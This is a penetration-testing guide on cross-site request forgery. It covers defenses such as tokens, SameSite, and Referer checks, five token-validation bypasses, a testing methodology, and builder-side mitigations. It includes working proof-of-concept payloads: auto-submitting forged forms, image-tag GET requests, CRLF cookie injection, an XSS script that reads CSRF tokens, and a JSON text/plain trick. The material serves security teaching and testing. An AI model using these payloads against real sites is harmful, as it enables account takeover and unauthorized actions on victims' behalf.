Salta ai contenuti
Seleziona tema

Cross-Site Request Forgery (CSRF)

Questi contenuti non sono ancora disponibili nella tua lingua.

Cross-Site Request Forgery makes a victim’s browser send a state-changing request to an application where the victim is authenticated, without the victim intending it. The attacker never reads the response (the Same-Origin Policy blocks that), so CSRF is about causing an action, not stealing data. Reading the response needs a different bug, such as a CORS misconfiguration or XSS.

CSRF is possible only when all three hold. If any one is missing, the attack fails. This is the first thing to check during a test:

Condition What it means If missing
1. A relevant action The application has an action worth forging: change email, change password, transfer funds, delete data, change role No valuable target, no CSRF worth reporting
2. Cookie-based session handling The session is identified by cookies (or HTTP Basic auth, or TLS client certs), which the browser sends automatically If auth uses a custom header (Authorization: Bearer ...), it is not sent cross-site, so CSRF does not apply
3. No unpredictable parameters The attacker can construct the full request because there is no secret token or value they cannot guess If a valid anti-CSRF token is required and properly validated, the attacker cannot forge the request

The victim is logged in to target.example. The attacker hosts a page that submits a forged request:

attacker.example/csrf.html
<form action="https://target.example/account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@attacker.example">
</form>
<script>document.forms[0].submit();</script>

When the victim visits this page:

  1. The browser builds a POST to target.example/account/change-email
  2. The browser automatically attaches the session cookie for target.example
  3. The server sees a valid session and changes the email
  4. The attacker triggers a password reset to attacker@attacker.example
  5. Full account takeover

If the state-changing endpoint accepts GET, the attack fits in a single URL:

No external page needed
<img src="https://target.example/account/change-email?email=attacker@attacker.example">

This can be injected in a forum post, a comment, an email (as an image), or any context that loads URLs. No attacker-hosted page required.

Method How
Attacker’s website Victim clicks a link
Email (phishing) Link or embedded image
Forum / comment Injected <img> or <a> tag
Social media Shared link
Stored HTML injection If the target allows HTML in user content, the CSRF payload is self-contained on the target itself

Defense mechanisms (and how to bypass each)

Section titled “Defense mechanisms (and how to bypass each)”

Understanding the defenses is critical for testing. Each one has known bypass patterns.

How it works: the server generates a unique, unpredictable token per session (or per request) and embeds it in every form as a hidden field. On submission, the server verifies that the token in the request matches the one it issued.

Form with CSRF token
<form action="/account/change-email" method="POST">
<input type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
<input type="text" name="email">
<button>Submit</button>
</form>
Resulting request
POST /account/change-email HTTP/1.1
Host: target.example
Cookie: session=abc123
csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&email=user@example.com

Why it works: the attacker cannot read the token from a cross-origin page (SOP prevents it), so they cannot construct a valid request.

Why it breaks: see the 5 bypass patterns below.

How it works: instead of storing the token server-side, the server sends the token as a cookie and expects it as a request parameter. On submission, the server checks that the cookie value matches the parameter value. No server-side state needed.

Request with double submit
POST /account/change-email HTTP/1.1
Host: target.example
Cookie: session=abc123; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=user@example.com

The server compares the csrf cookie with the csrf POST parameter. If they match, the request is accepted.

The weakness: if the attacker can set a cookie on the target domain (via a sibling subdomain, CRLF injection, or cookie tossing), they control both values:

  1. Attacker invents a token: attacker123
  2. Attacker injects the cookie: csrf=attacker123
  3. Attacker’s form includes the same value as the POST parameter
  4. Server compares cookie vs parameter: they match. Request accepted.

See Bypass 5 below for the full PoC.

How it works: the SameSite attribute controls whether cookies are sent on cross-site requests.

Value Behavior
Strict Cookie sent only on same-site requests. Cross-site requests never carry it.
Lax Cookie sent on same-site requests and top-level GET navigations (clicking a link). Not sent on cross-site POST, iframe, or fetch.
None Cookie sent on all requests, including cross-site (requires Secure flag).

Since 2021, Chromium browsers treat cookies with no SameSite attribute as Lax by default.

Bypass vectors:

  • GET-based CSRF under Lax: Lax allows the cookie on top-level GET navigations. If the state-changing endpoint accepts GET, CSRF still works:
    <a href="https://target.example/account/change-email?email=attacker@attacker.example">
    Click here
    </a>
  • Same-site is not same-origin: SameSite is scoped to the eTLD+1 (e.g., target.example), not the full origin. blog.target.example and app.target.example are the same site. An XSS or subdomain takeover on any sibling subdomain lets the attacker send requests that SameSite considers same-site, so the cookie is included.
  • Two-minute Lax+POST window (Chromium): Chromium historically allowed a brief window after a cookie is set during which Lax behaves like None for top-level POSTs. Freshly authenticated sessions can be briefly exposed.

How it works: the server checks the Referer header to ensure the request originated from the same domain.

Bypass vectors:

  • Strip the Referer entirely: use the Referrer-Policy meta tag to suppress it:

    Suppress Referer
    <meta name="referrer" content="no-referrer">
    <form action="https://target.example/account/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@attacker.example">
    </form>
    <script>document.forms[0].submit();</script>

    If the server accepts the request without a Referer header, the bypass works.

  • Partial Referer match: some servers check if the Referer contains the target domain instead of starting with it. Host your PoC on a URL that includes the target domain:

    https://attacker.example/csrf?target.example

    The Referer will be https://attacker.example/csrf?target.example, which passes a substring check.

How it works: modern browsers send Sec-Fetch-Site: cross-site on cross-origin requests. The server can reject any state-changing request where this header is not same-origin.

Bypass: this is the hardest defense to bypass. It is browser-enforced and cannot be spoofed by the attacker. The only viable bypass is if the server does not check the header, or if the attacker has same-site code execution (XSS).

These are the 5 most common flaws in CSRF token validation, ordered by how often you find them.

Bypass 1 - Token validation depends on request method

Section titled “Bypass 1 - Token validation depends on request method”

The server validates the token on POST but not on GET.

POST with token (works normally)
POST /account/change-email HTTP/1.1
Host: target.example
Cookie: session=abc123
csrf=validtoken&email=user@example.com
GET without token (bypasses validation)
GET /account/change-email?email=attacker@attacker.example HTTP/1.1
Host: target.example
Cookie: session=abc123

PoC:

Self-contained GET CSRF
<img src="https://target.example/account/change-email?email=attacker@attacker.example">

Bypass 2 - Token validation depends on token being present

Section titled “Bypass 2 - Token validation depends on token being present”

The server validates the token if it is present, but skips validation entirely if the parameter is omitted.

Request without the csrf parameter
POST /account/change-email HTTP/1.1
Host: target.example
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
email=attacker@attacker.example

PoC:

Form without the csrf field
<form action="https://target.example/account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@attacker.example">
</form>
<script>document.forms[0].submit();</script>

The server maintains a global pool of valid tokens. It checks that the token is valid, but not that it belongs to the current user’s session. The attacker can use their own token.

  1. Attacker logs in to their own account
  2. Obtains a valid token: csrf=attackertoken123
  3. Uses that token in the CSRF payload against the victim

PoC:

Attacker's own token in the payload
<form action="https://target.example/account/change-email" method="POST">
<input type="hidden" name="csrf" value="attackertoken123">
<input type="hidden" name="email" value="attacker@attacker.example">
</form>
<script>document.forms[0].submit();</script>
Section titled “Bypass 4 - Token tied to a non-session cookie”

The CSRF token is tied to a separate csrfKey cookie, not to the session cookie.

Two separate cookies
POST /account/change-email HTTP/1.1
Host: target.example
Cookie: session=victim-session; csrfKey=attacker-csrf-key
csrf=attacker-csrf-token&email=attacker@attacker.example

If the attacker can inject the csrfKey cookie into the victim’s browser (via a sibling subdomain, CRLF injection, or cookie tossing from a related domain), they can pair their own csrfKey cookie with their own CSRF token.

How to inject the cookie:

Any subdomain of target.example can set a cookie for the parent domain. If staging.target.example has a header injection or any user-controlled response header:

Cookie injection via Set-Cookie on a subdomain
GET /?injection=%0d%0aSet-Cookie:+csrfKey=attacker-key;+Domain=target.example HTTP/1.1
Host: staging.target.example

The victim’s browser now has csrfKey=attacker-key for target.example. The attacker’s CSRF form uses the token that matches this key.

Section titled “Bypass 5 - Double submit cookie (token duplicated in cookie)”

The server compares the csrf cookie value with the csrf POST parameter. It does not store the token server-side.

Normal request with double submit
POST /account/change-email HTTP/1.1
Host: target.example
Cookie: session=abc123; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=user@example.com

The attacker invents any value, injects it as the cookie, and uses the same value in the form:

PoC:

Double submit bypass
<form action="https://target.example/account/change-email" method="POST">
<input type="hidden" name="csrf" value="fake">
<input type="hidden" name="email" value="attacker@attacker.example">
</form>
<img src="https://staging.target.example/?inject=%0d%0aSet-Cookie:+csrf=fake"
onerror="document.forms[0].submit()">

The <img> tag triggers a request to a subdomain with a header injection that sets csrf=fake as a cookie. After the cookie is set, the form submits with csrf=fake as the parameter. The server compares them: they match. Request accepted.

Map every state-changing request in Burp’s site map:

Look for Why
Email change Account takeover via password reset
Password change Direct account takeover
Role / permission change Privilege escalation
Fund transfer / purchase Financial loss
Data deletion Destructive action
Admin actions Full application compromise

For each target request:

  1. Is the session managed by cookies? (Check Set-Cookie and Cookie headers)
  2. Is there a CSRF token? (Look for hidden fields, custom headers)
  3. Are all other parameters predictable?

Phase 3 - Test token validation (if a token exists)

Section titled “Phase 3 - Test token validation (if a token exists)”
Test How Bypass #
Remove the token parameter entirely Delete the csrf field from the request 2
Change request method to GET Switch POST to GET, move params to query string 1
Use your own account’s token Log in to a second account, copy its token 3
Use a valid token with another user’s csrfKey cookie Swap only the cookie 4
Set a cookie and use a matching invented token Inject cookie via subdomain 5
Defense Test
SameSite Check the Set-Cookie header. If no explicit SameSite, test in Firefox (no default Lax). If Lax, try GET-based CSRF.
Referer validation Remove Referer with <meta name="referrer" content="no-referrer">. Try subdomain URL in the Referer.
Content-Type restriction If JSON, try enctype="text/plain" form trick.

Use Burp Suite Pro: right-click the request, Engagement tools, Generate CSRF PoC. Test it in a browser session that is logged in to the target. Confirm the action executes.

XSS on the target is the nuclear option against CSRF protection. If the attacker has XSS:

  1. Read the CSRF token from the page (document.querySelector('input[name=csrf]').value)
  2. Include it in the forged request
  3. The request is now indistinguishable from a legitimate one
XSS extracts token and forges a request
<script>
fetch('/account/change-email')
.then(r => r.text())
.then(html => {
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
var token = doc.querySelector('input[name=csrf]').value;
fetch('/account/change-email', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'csrf=' + token + '&email=attacker@attacker.example'
});
});
</script>

This is why XSS is strictly more powerful than CSRF: it can do everything CSRF does, plus read responses.

If the endpoint expects Content-Type: application/json, a cross-site fetch triggers a CORS preflight, which blocks the request. But an HTML form with enctype="text/plain" sends no preflight. If the server parses the body as JSON regardless of the Content-Type:

JSON CSRF via text/plain
<form action="https://target.example/api/change-email" method="POST" enctype="text/plain">
<input name='{"email":"attacker@attacker.example","padding":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>

The browser serializes name=value, producing:

{"email":"attacker@attacker.example","padding":"="}

Valid JSON. The = from the form encoding lands in a throwaway field.

Defense (from the builder’s perspective)

Section titled “Defense (from the builder’s perspective)”
Measure How it works Bypass difficulty
Synchronizer token (per-session, server-side) Token tied to session, validated on every state-changing request Hard (requires XSS or implementation flaw)
Double submit cookie (stateless) Token in cookie must match token in body Medium (bypassable if attacker can set cookies)
SameSite=Strict Cookie never sent cross-site Hard (requires same-site XSS or subdomain takeover)
SameSite=Lax (default in Chrome) Cookie sent on top-level GET only Medium (GET-based endpoints still vulnerable)
Fetch Metadata (Sec-Fetch-Site) Reject requests where Sec-Fetch-Site: cross-site Very hard (browser-enforced, not spoofable)
Referer validation Check the Referer header matches the target domain Easy (strip Referer, use substring-matching flaws)
Custom request header (e.g., X-Requested-With) Requires a header that cross-site forms cannot set Hard (requires CORS misconfiguration to add headers)
Re-authentication Require current password for sensitive actions Very hard (attacker would need the password)

1984 parole, circa 10 min di lettura